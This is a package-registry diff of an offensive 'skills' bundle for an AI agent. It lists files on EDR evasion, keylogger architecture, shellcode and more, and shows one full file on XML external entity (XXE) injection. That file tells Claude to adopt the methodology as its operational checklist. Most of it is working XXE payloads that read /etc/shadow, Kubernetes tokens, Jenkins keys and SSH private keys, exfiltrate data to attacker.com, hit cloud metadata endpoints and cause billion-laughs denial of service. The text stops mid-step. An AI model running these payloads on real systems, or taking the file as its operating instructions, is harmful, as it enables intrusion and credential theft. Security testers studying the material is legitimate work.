@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,996 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: XML External Entity (XXE) Injection
4
+
5
+ ## Metadata
6
+ - **Skill Name**: xxe
7
+ - **Folder**: offensive-xxe
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/xxe.md
9
+
10
+ ## Description
11
+ XML External Entity injection testing checklist: classic XXE, blind XXE (out-of-band), XXE via file upload (SVG/docx), XXE in SOAP/REST, error-based XXE, XInclude attacks, and XXE filter bypass. Use for web app XXE testing and bug bounty.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `XXE, XML external entity, blind XXE, out-of-band XXE, XXE file upload, SVG XXE, SOAP XXE, XInclude, entity bypass, XXE SSRF, XXE file read`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # XML External Entity (XXE) Injection
31
+
32
+ ## Shortcut
33
+
34
+ - Find data entry points that you can use to submit XML data.
35
+ - Determine whether the entry point is a candidate for a classic or blind XXE. The endpoint might be vulnerable to classic XXE if it returns the parsed XML data in the HTTP response. If the endpoint does not return results, it might still be vulnerable to blind XXE, and you should set up a callback listener for your tests.
36
+ - Try out a few test payloads to see if the parser is improperly configured. In the case of classic XXE, you can check whether the parser is processing external entities. In the case of blind XXE, you can make the server send requests to your callback listener to see if you can trigger outbound interaction.
37
+ - Try to exfiltrate a common system file, like /etc/hostname.
38
+ - You can also try to retrieve some more sensitive system files, like /etc/shadow or ~/.bash_history.
39
+ - If you cannot exfiltrate the entire file with a simple XXE payload, try to use an alternative data exfiltration method.
40
+ - See if you can launch an SSRF attack using the XXE.
41
+
42
+ ## Mechanisms
43
+
44
+ XML External Entity (XXE) is a vulnerability that occurs when XML parsers process external entity references within XML documents. XXE attacks target applications that parse XML input and can lead to:
45
+
46
+ - Disclosure of confidential files and data
47
+ - Server-side request forgery (SSRF)
48
+ - Denial of service attacks
49
+ - Remote code execution in some cases
50
+
51
+ ```mermaid
52
+ flowchart TD
53
+ A[XXE Vulnerability] --> B[File Disclosure]
54
+ A --> C[SSRF]
55
+ A --> D[Denial of Service]
56
+ A --> E[Remote Code Execution]
57
+
58
+ B -->|"Access to"| B1[System Files]
59
+ B -->|"Access to"| B2[Application Configs]
60
+ B -->|"Access to"| B3[Database Credentials]
61
+
62
+ C -->|"Access to"| C1[Internal Services]
63
+ C -->|"Access to"| C2[Cloud Metadata]
64
+ C -->|"Access to"| C3[External Resources]
65
+
66
+ D -->|"Via"| D1[Billion Laughs]
67
+ D -->|"Via"| D2[Quadratic Blowup]
68
+ D -->|"Via"| D3[External Resource DoS]
69
+
70
+ E -->|"Via"| E1[PHP Expect]
71
+ E -->|"Via"| E2[Java Deserialization]
72
+ ```
73
+
74
+ XXE vulnerabilities arise from XML's Document Type Definition (DTD) feature, which allows defining entities that can reference external resources. When a vulnerable XML parser processes these entities, it retrieves and includes the external resources, potentially exposing sensitive information.
75
+
76
+ In practice, full remote code execution rarely stems from XXE alone; it typically requires language-specific gadgets—such as PHP's `expect://` wrapper or Java deserialization sinks—which XXE merely helps reach.
77
+
78
+ ```mermaid
79
+ sequenceDiagram
80
+ actor A as Attacker
81
+ participant C as Client
82
+ participant S as Server
83
+ participant X as XML Parser
84
+ participant FS as File System
85
+
86
+ A->>C: Craft malicious XML with XXE payload
87
+ C->>S: Submit XML document
88
+ S->>X: Pass XML for parsing
89
+ X->>FS: Resolve external entity reference
90
+ FS->>X: Return sensitive file content
91
+ X->>S: Include file content in parsed result
92
+ S->>C: Return response with sensitive data
93
+ C->>A: Attacker views sensitive data
94
+ ```
95
+
96
+ Types of XXE attacks include:
97
+
98
+ - **Classic XXE**: Direct extraction of data visible in responses
99
+ - **Blind XXE**: No direct output, but data can be exfiltrated through out-of-band techniques
100
+ - **Error-based XXE**: Leveraging error messages to extract data
101
+ - **XInclude-based XXE**: Using XInclude when direct DTD access is restricted
102
+
103
+ ```mermaid
104
+ flowchart LR
105
+ A[XXE Attack Types] --> B[Classic XXE]
106
+ A --> C[Blind XXE]
107
+ A --> D[Error-based XXE]
108
+ A --> E[XInclude-based XXE]
109
+
110
+ B -->|"Direct Output"| B1[Response contains file content]
111
+ C -->|"Out-of-Band"| C1[Data exfiltration via callbacks]
112
+ D -->|"Error Messages"| D1[Data in error output]
113
+ E -->|"XInclude"| E1[Alternative to DTD]
114
+ ```
115
+
116
+ ## Hunt
117
+
118
+ ### Finding XXE Vulnerabilities
119
+
120
+ #### Additional Discovery Methods
121
+
122
+ - Convert content type from "application/json"/"application/x-www-form-urlencoded" to "application/xml"
123
+ - Check file uploads that allow docx/xlsx/pdf/zip - unzip the package and add XML code into the XML files
124
+ - Test SVG file uploads for XML injection
125
+ - Check RSS feeds functionality for XML injection
126
+ - Fuzz for /soap API endpoints
127
+ - Test SSO integration points for XML injection in SAML requests/responses
128
+
129
+ #### Identify XML Injection Points
130
+
131
+ ```mermaid
132
+ flowchart TD
133
+ A[XML Injection Points] --> B[API Endpoints]
134
+ A --> C[File Uploads]
135
+ A --> D[Format Conversion]
136
+ A --> E[Legacy Interfaces]
137
+ A --> F[Hidden XML Parsers]
138
+ A --> G[Content-Type Conversion]
139
+
140
+ B --> B1[REST APIs]
141
+ B --> B2[GraphQL]
142
+
143
+ C --> C1[XML Files]
144
+ C --> C2[DOCX/XLSX]
145
+ C --> C3[SVG Images]
146
+ C --> C4[PDF Files]
147
+
148
+ D --> D1[JSON to XML]
149
+ D --> D2[CSV to XML]
150
+
151
+ E --> E1[SOAP]
152
+ E --> E2[XML-RPC]
153
+ E --> E3[SAML]
154
+
155
+ F --> F1[Hidden Parameters]
156
+ F --> F2[Legacy Code]
157
+
158
+ G --> G1[JSON endpoints accepting XML]
159
+ ```
160
+
161
+ - **API Endpoints**: Look for endpoints accepting XML data
162
+ - **File Uploads**: Features accepting XML-based files (DOCX, SVG, XML, etc.)
163
+ - **Format Conversion**: Services converting to/from XML formats
164
+ - **Legacy Interfaces**: SOAP web services, XML-RPC
165
+ - **Hidden XML Parsers**: Look for parameters that might be processed as XML behind the scenes
166
+ - **Content Type Conversion**: Endpoints that accept JSON but may process XML with proper Content-Type
167
+
168
+ #### Test Basic XXE Patterns
169
+
170
+ For each potential injection point, test with simple payloads:
171
+
172
+ - **Classic XXE (file retrieval)**:
173
+
174
+ ```xml
175
+ <?xml version="1.0" encoding="UTF-8"?>
176
+ <!DOCTYPE test [
177
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
178
+ ]>
179
+ <root>&xxe;</root>
180
+ ```
181
+
182
+ or
183
+
184
+ ```xml
185
+ <!DOCTYPE ase [ <!ENTITY %test SYSTEM "http://sib.com/sib"> %test; ]>
186
+ <example>&test;</example>
187
+ ```
188
+
189
+ - **Blind XXE (out-of-band detection)**:
190
+
191
+ ```xml
192
+ <?xml version="1.0" encoding="UTF-8"?>
193
+ <!DOCTYPE test [
194
+ <!ENTITY % xxe SYSTEM "http://attacker-server.com/malicious.dtd">
195
+ %xxe;
196
+ ]>
197
+ <root>test</root>
198
+ ```
199
+
200
+ - **XInclude attack** (when unable to define a DTD):
201
+ ```xml
202
+ <root xmlns:xi="http://www.w3.org/2001/XInclude">
203
+ <xi:include parse="text" href="file:///etc/passwd"/>
204
+ </root>
205
+ ```
206
+
207
+ #### Billion Laughs Attack Steps
208
+
209
+ 1. Capture the request in your proxy tool
210
+ 2. Send it to repeater and convert body to XML format
211
+ 3. Check the Accept header and modify to Application/xml if needed
212
+ 4. Convert JSON to XML if no direct XML input is possible
213
+ 5. Insert the billion laughs payload between XML tags
214
+ 6. Adjust entity references (lol1 to lol9) to control DoS intensity
215
+
216
+ #### Check Alternative XML Formats
217
+
218
+ - **SVG files**:
219
+
220
+ ```xml
221
+ <?xml version="1.0" standalone="yes"?>
222
+ <!DOCTYPE test [
223
+ <!ENTITY xxe SYSTEM "file:///etc/hostname" >
224
+ ]>
225
+ <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
226
+ <text font-size="16" x="0" y="16">&xxe;</text>
227
+ </svg>
228
+ ```
229
+
230
+ or
231
+
232
+ ```xml
233
+ <?xml version="1.0" encoding="UTF-8"?>
234
+ <!DOCTYPE example [
235
+ <!ENTITY test SYSTEM "file:///etc/shadow">
236
+ ]>
237
+ <svg width="500" height="500">
238
+ <circle cx="50" cy="50" r="40" fill="blue" />
239
+ <text font-size="16" x="0" y="16">&test;</text>
240
+ </svg>
241
+ ```
242
+
243
+ - **DOCX/XLSX files**: Modify internal XML files (e.g., word/document.xml)
244
+ - **SOAP messages**: Test XXE in SOAP envelope
245
+
246
+ #### SAML 2.0 XXE Testing
247
+
248
+ SAML assertions are prime XXE targets. Test both requests and responses:
249
+
250
+ **AuthnRequest XXE:**
251
+
252
+ ```xml
253
+ <samlp:AuthnRequest
254
+ xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
255
+ xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
256
+ ID="_xxe" Version="2.0" IssueInstant="2025-01-01T00:00:00Z">
257
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
258
+ <saml:Issuer>&xxe;</saml:Issuer>
259
+ </samlp:AuthnRequest>
260
+ ```
261
+
262
+ **Response Assertion XXE:**
263
+
264
+ ```xml
265
+ <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
266
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/exfil">]>
267
+ <saml:Assertion>
268
+ <saml:AttributeValue>&xxe;</saml:AttributeValue>
269
+ </saml:Assertion>
270
+ </samlp:Response>
271
+ ```
272
+
273
+ **Encrypted Assertion XXE (Response Wrapping):**
274
+
275
+ ```xml
276
+ <!-- Inject XXE before encryption, Service Provider decrypts and processes -->
277
+ <saml:EncryptedAssertion>
278
+ <!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]>
279
+ <EncryptedData>...</EncryptedData>
280
+ </saml:EncryptedAssertion>
281
+ ```
282
+
283
+ #### E-book Format Exploitation (EPUB)
284
+
285
+ EPUB files are ZIP archives containing XML. Target library management systems and e-reader apps:
286
+
287
+ ```xml
288
+ <!-- content.opf inside EPUB -->
289
+ <?xml version="1.0"?>
290
+ <!DOCTYPE package [
291
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
292
+ ]>
293
+ <package xmlns="http://www.idpf.org/2007/opf" version="3.0">
294
+ <metadata>
295
+ <dc:title>&xxe;</dc:title>
296
+ </metadata>
297
+ </package>
298
+ ```
299
+
300
+ **Attack workflow:**
301
+
302
+ 1. Create legitimate EPUB file
303
+ 2. Extract contents (it's a ZIP)
304
+ 3. Inject XXE into `META-INF/container.xml` or `content.opf`
305
+ 4. Re-zip and upload to target (library systems, e-commerce platforms)
306
+
307
+ #### Apple Universal Links XXE
308
+
309
+ iOS deep linking configuration files:
310
+
311
+ ```xml
312
+ <!-- apple-app-site-association generated from XML -->
313
+ <?xml version="1.0"?>
314
+ <!DOCTYPE config [
315
+ <!ENTITY xxe SYSTEM "file:///var/mobile/Containers/Data/Application/config.plist">
316
+ ]>
317
+ <config>
318
+ <applinks>&xxe;</applinks>
319
+ </config>
320
+ ```
321
+
322
+ ### Advanced XXE Hunting
323
+
324
+ #### Parameter Entity Testing
325
+
326
+ ```xml
327
+ <?xml version="1.0"?>
328
+ <!DOCTYPE data [
329
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
330
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
331
+ %eval;
332
+ %exfil;
333
+ ]>
334
+ <data>test</data>
335
+ ```
336
+
337
+ #### Error-Based XXE
338
+
339
+ ```xml
340
+ <?xml version="1.0"?>
341
+ <!DOCTYPE data [
342
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
343
+ <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
344
+ %eval;
345
+ %error;
346
+ ]>
347
+ <data>test</data>
348
+ ```
349
+
350
+ #### XXE via Content-Type Manipulation
351
+
352
+ Try changing Content-Type header from:
353
+
354
+ ```
355
+ Content-Type: application/json
356
+ ```
357
+
358
+ to:
359
+
360
+ ```
361
+ Content-Type: application/xml
362
+ ```
363
+
364
+ or:
365
+
366
+ ```
367
+ Content-Type: text/xml
368
+ ```
369
+
370
+ ## Chaining and Escalation
371
+
372
+ ### Cloud-Native & Kubernetes XXE
373
+
374
+ #### Kubernetes Admission Webhook XXE
375
+
376
+ ValidatingWebhookConfiguration and MutatingWebhookConfiguration receive XML-formatted requests:
377
+
378
+ ```yaml
379
+ # Vulnerable admission webhook
380
+ apiVersion: v1
381
+ kind: Pod
382
+ metadata:
383
+ name: evil-pod
384
+ annotations:
385
+ # Webhook receives and parses this XML
386
+ config: |
387
+ <?xml version="1.0"?>
388
+ <!DOCTYPE root [
389
+ <!ENTITY xxe SYSTEM "file:///var/run/secrets/kubernetes.io/serviceaccount/token">
390
+ ]>
391
+ <config>&xxe;</config>
392
+ ```
393
+
394
+ **Exploitation flow:**
395
+
396
+ ```bash
397
+ # 1. Create pod with XXE payload in annotation
398
+ kubectl apply -f evil-pod.yaml
399
+
400
+ # 2. Admission webhook receives XML, processes with vulnerable parser
401
+ # 3. Service account token exfiltrated
402
+
403
+ # 4. Use token for privilege escalation
404
+ curl -k https://kubernetes.default.svc/api/v1/namespaces/default/pods \
405
+ -H "Authorization: Bearer $(cat token)"
406
+ ```
407
+
408
+ **ConfigMap XXE:**
409
+
410
+ ```yaml
411
+ apiVersion: v1
412
+ kind: ConfigMap
413
+ metadata:
414
+ name: xxe-config
415
+ data:
416
+ config.xml: |
417
+ <?xml version="1.0"?>
418
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/kubernetes/manifests/kube-apiserver.yaml">]>
419
+ <config>&xxe;</config>
420
+ ```
421
+
422
+ #### CI/CD Pipeline XXE
423
+
424
+ **Jenkins XML Config Parsing:**
425
+
426
+ ```xml
427
+ <!-- config.xml for Jenkins job -->
428
+ <?xml version="1.0"?>
429
+ <!DOCTYPE project [
430
+ <!ENTITY xxe SYSTEM "file:///var/jenkins_home/secrets/master.key">
431
+ ]>
432
+ <project>
433
+ <description>&xxe;</description>
434
+ </project>
435
+ ```
436
+
437
+ **GitLab CI Artifact Processing:**
438
+
439
+ ```yaml
440
+ # .gitlab-ci.yml
441
+ test:
442
+ script:
443
+ - echo '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/gitlab-runner/config.toml">]><root>&xxe;</root>' > report.xml
444
+ artifacts:
445
+ reports:
446
+ junit: report.xml # Parsed by GitLab
447
+ ```
448
+
449
+ **GitHub Actions Workflow:**
450
+
451
+ ```yaml
452
+ # Vulnerable action that processes XML artifacts
453
+ - name: Parse XML Report
454
+ uses: vulnerable/xml-parser@v1
455
+ with:
456
+ xml-file: |
457
+ <?xml version="1.0"?>
458
+ <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/runner/.ssh/id_rsa">]>
459
+ <testsuites>&xxe;</testsuites>
460
+ ```
461
+
462
+ **Maven/Gradle Dependency Confusion:**
463
+
464
+ ```xml
465
+ <!-- malicious pom.xml in supply chain -->
466
+ <?xml version="1.0"?>
467
+ <!DOCTYPE project [
468
+ <!ENTITY xxe SYSTEM "http://attacker.com/exfil?data=">
469
+ ]>
470
+ <project>
471
+ <modelVersion>4.0.0</modelVersion>
472
+ <name>&xxe;</name>
473
+ </project>
474
+ ```
475
+
476
+ ### Parser Misconfigurations
477
+
478
+ - **DTD Processing Enabled**: XML parsers with DTD processing enabled
479
+ - **External Entity Resolution**: Parsers allowing external entity references
480
+ - **XInclude Support**: Enabled processing of XInclude statements
481
+ - **Missing Entity Validation**: No validation of entity expansion
482
+
483
+ ### File Disclosure via XXE
484
+
485
+ - **Local File Access**: Reading sensitive system files
486
+ - `/etc/passwd` (Unix user information)
487
+ - `/etc/shadow` (password hashes on Linux)
488
+ - `C:\Windows\system32\drivers\etc\hosts` (Windows hosts file)
489
+ - Application configuration files
490
+ - Source code files
491
+ - Database credentials
492
+
493
+ ### SSRF via XXE
494
+
495
+ ```mermaid
496
+ sequenceDiagram
497
+ actor A as Attacker
498
+ participant S as Vulnerable Server
499
+ participant I as Internal Service
500
+ participant C as Cloud Metadata
501
+
502
+ A->>S: Submit XXE payload targeting internal service
503
+ S->>I: Make request to internal service
504
+ I->>S: Return internal service response
505
+ S->>A: Return parsed result with internal data
506
+
507
+ A->>S: Submit XXE payload targeting cloud metadata
508
+ S->>C: Request cloud metadata (169.254.169.254)
509
+ C->>S: Return sensitive cloud information
510
+ S->>A: Return parsed result with cloud data
511
+ ```
512
+
513
+ - **Internal Network Access**: Scanning internal systems
514
+ - **Cloud Metadata Access**: Accessing metadata services
515
+
516
+ **AWS IMDSv2** (Token-based, harder via XXE):
517
+
518
+ ```xml
519
+ <!-- IMDSv1 still works in legacy environments -->
520
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">]>
521
+
522
+ <!-- IMDSv2 requires PUT request for token first -->
523
+ <!-- Most XML parsers can't make PUT requests, limiting XXE exploitation -->
524
+ ```
525
+
526
+ **Azure Instance Metadata**:
527
+
528
+ ```xml
529
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/instance?api-version=2021-02-01">]>
530
+ <!-- Requires Metadata: true header, may fail in XXE -->
531
+ ```
532
+
533
+ **GCP Metadata v2 (2024+)**:
534
+
535
+ ```xml
536
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token">]>
537
+ <!-- Now requires Metadata-Flavor: Google header -->
538
+ <!-- Classic XXE can't set custom headers, use SSRF chain -->
539
+ ```
540
+
541
+ **Workarounds for header-protected metadata:**
542
+
543
+ ```xml
544
+ <!-- Use jar:// protocol (Java) to bypass some restrictions -->
545
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://metadata.google.internal!/computeMetadata/v1/instance/hostname">]>
546
+
547
+ <!-- Or chain with open redirect on same domain -->
548
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://vulnerable-app.com/redirect?url=http://169.254.169.254/latest/meta-data/">]>
549
+ ```
550
+
551
+ ### Denial of Service
552
+
553
+ - **Billion Laughs Attack**: Exponential entity expansion
554
+
555
+ ```xml
556
+ <!DOCTYPE data [
557
+ <!ENTITY lol "lol">
558
+ <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
559
+ <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
560
+ <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
561
+ ]>
562
+ <data>&lol3;</data>
563
+ ```
564
+
565
+ - **Quadratic Blowup Attack**: Large string repeating
566
+
567
+ ```xml
568
+ <!DOCTYPE data [
569
+ <!ENTITY a "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa">
570
+ ]>
571
+ <data>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</data>
572
+ ```
573
+
574
+ - **External Resource DoS**: Loading large or never-ending external resources
575
+
576
+ ## Bypass Techniques
577
+
578
+ ### Filter Evasion Techniques
579
+
580
+ - **Case Variation**:
581
+
582
+ ```xml
583
+ <!docTypE test [ <!ENTity xxe SYSTEM "file:///etc/passwd"> ]>
584
+ ```
585
+
586
+ - **Alternative Protocol Schemes**:
587
+
588
+ ```
589
+ file:///
590
+ php://filter/convert.base64-encode/resource=
591
+ gopher://
592
+ jar://
593
+ netdoc://
594
+ ```
595
+
596
+ - **URL Encoding**:
597
+ ```xml
598
+ <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:%2F%2F%2Fetc%2Fpasswd"> ]>
599
+ ```
600
+
601
+ ### XXE in CDATA Sections
602
+
603
+ ```xml
604
+ <![CDATA[<!DOCTYPE data [
605
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
606
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
607
+ %eval;
608
+ %exfil;
609
+ ]>]]>
610
+ ```
611
+
612
+ ### XXE via XML Namespace
613
+
614
+ ```xml
615
+ <ns1:root xmlns:ns1="http://example.com">
616
+ <ns1:data xmlns:ns1="http://example.com" xmlns:xi="http://www.w3.org/2001/XInclude">
617
+ <xi:include parse="text" href="file:///etc/passwd"/>
618
+ </ns1:data>
619
+ </ns1:root>
620
+ ```
621
+
622
+ ### PHP Wrapper inside XXE
623
+
624
+ ```xml
625
+ <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
626
+ <contacts>
627
+ <contact>
628
+ <name>Jean &xxe; Dupont</name>
629
+ <phone>00 11 22 33 44</phone>
630
+ <address>42 rue du CTF</address>
631
+ <zipcode>75000</zipcode>
632
+ <city>Paris</city>
633
+ </contact>
634
+ </contacts>
635
+ ```
636
+
637
+ ```xml
638
+ <?xml version="1.0" encoding="ISO-8859-1"?>
639
+ <!DOCTYPE foo [
640
+ <!ELEMENT foo ANY >
641
+ <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
642
+ ]>
643
+ <foo>&xxe;</foo>
644
+ ```
645
+
646
+ ## Methodologies
647
+
648
+ ### Tools
649
+
650
+ #### XXE Detection and Exploitation Tools
651
+
652
+ - **OWASP ZAP**: XML External Entity scanner
653
+ - **Burp Suite Pro**: XXE scanner extension
654
+ - **XXEinjector**: Automated XXE testing tool
655
+ - **XXE-FTP**: Out-of-band XXE exploitation framework
656
+ - **dtd.gen**: DTD generator for XXE exfiltration
657
+ - **oxml_sec**: Tool for testing XXE in OOXML files (docx, xlsx, pptx)
658
+ - **Burp Suite Pro 2025.2+ (“Burp AI”)**: automatically chains scanner-found XXE with out-of-band callbacks for quicker triage.
659
+ - **Semgrep rules (java-xxe, python-xxe)**: static analysis that flags un-hardened XML parser usage.
660
+
661
+ #### Setup Tools for Out-of-Band Testing
662
+
663
+ - **Interactsh**: Interaction collection server
664
+ - **Burp Collaborator**: For out-of-band data detection
665
+ - **XSS Hunter**: Can be repurposed for XXE callbacks
666
+ - **SimpleHTTPServer**: Quick Python HTTP server setup
667
+
668
+ ### Testing Methodologies
669
+
670
+ ```mermaid
671
+ flowchart TD
672
+ A[XXE Testing Methodology] --> B[Identify XML Processing Points]
673
+ B --> C[Setup Out-of-Band Detection]
674
+ C --> D[Test Basic XXE Payloads]
675
+ D --> E[Analyze Results]
676
+ E --> F[Exploit Vulnerability]
677
+ F --> G[Expand Attack]
678
+
679
+ B --> B1[API Endpoints]
680
+ B --> B2[File Uploads]
681
+ B --> B3[SOAP/Legacy Interfaces]
682
+
683
+ C --> C1[Burp Collaborator]
684
+ C --> C2[Custom HTTP Server]
685
+ C --> C3[Interactsh]
686
+
687
+ D --> D1[Classic XXE]
688
+ D --> D2[Blind XXE]
689
+ D --> D3[Error-based XXE]
690
+ D --> D4[XInclude Attack]
691
+
692
+ E --> E1[Direct Data Exposure]
693
+ E --> E2[HTTP Callbacks]
694
+ E --> E3[Error Messages]
695
+
696
+ F --> F1[Local File Reading]
697
+ F --> F2[SSRF]
698
+ F --> F3[Advanced Exfiltration]
699
+
700
+ G --> G1[Sensitive Data]
701
+ G --> G2[Internal Network]
702
+ G --> G3[RCE Attempt]
703
+ ```
704
+
705
+ #### Basic Testing Process
706
+
707
+ 1. **Identify XML Processing**: Locate endpoints accepting XML input
708
+ 2. **Setup Monitoring**: Prepare out-of-band detection for blind XXE
709
+ 3. **Injection Testing**: Test with basic XXE payloads
710
+ 4. **Result Analysis**: Check for direct data exposure or callbacks
711
+ 5. **Vulnerability Confirmation**: Attempt to read a harmless file like `/etc/hostname`
712
+
713
+ #### Advanced Exploitation Techniques
714
+
715
+ ##### Data Exfiltration (for Blind XXE)
716
+
717
+ ```mermaid
718
+ sequenceDiagram
719
+ actor A as Attacker
720
+ participant AS as Attacker Server (DTD)
721
+ participant VS as Vulnerable Server
722
+ participant FS as File System
723
+
724
+ A->>AS: Host malicious DTD file
725
+ A->>VS: Submit XML with reference to external DTD
726
+ VS->>AS: Request malicious DTD
727
+ AS->>VS: Deliver DTD with file reading & exfiltration
728
+ VS->>FS: Read sensitive file
729
+ Note over VS: Process DTD instructions
730
+ VS->>AS: Make callback with file content in URL
731
+ AS->>A: Log request with exfiltrated data
732
+ ```
733
+
734
+ 1. Host a malicious DTD file on your server:
735
+
736
